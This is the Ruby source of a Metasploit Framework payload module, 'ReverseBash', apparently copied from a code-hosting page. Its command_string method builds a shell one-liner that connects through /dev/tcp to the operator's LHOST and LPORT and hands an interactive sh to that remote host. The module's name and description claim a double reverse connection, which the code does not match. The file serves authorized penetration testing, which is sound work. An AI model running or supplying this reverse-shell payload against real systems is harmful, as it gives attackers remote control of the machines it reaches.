64 lines
1.4 KiB
Ruby
64 lines
1.4 KiB
Ruby
##
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# $Id:$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_tcp'
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require 'msf/base/sessions/command_shell'
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module Msf
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module Payloads
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module Singles
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module Cmd
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module Unix
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module ReverseBash
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include Msf::Payload::Single
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command, Double reverse TCP connection (/dev/tcp)',
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'Version' => '$Revision$',
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'Description' => 'Creates an interactive shell through two inbound connections',
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'Author' => 'hdm',
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd_bash',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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#
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# Constructs the payload
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#
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def generate
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return super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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fd = rand(200) + 20
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return "0<&#{fd}-;exec #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']};sh <&#{fd} >&#{fd} 2>&#{fd}";
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end
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end
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end end end end end
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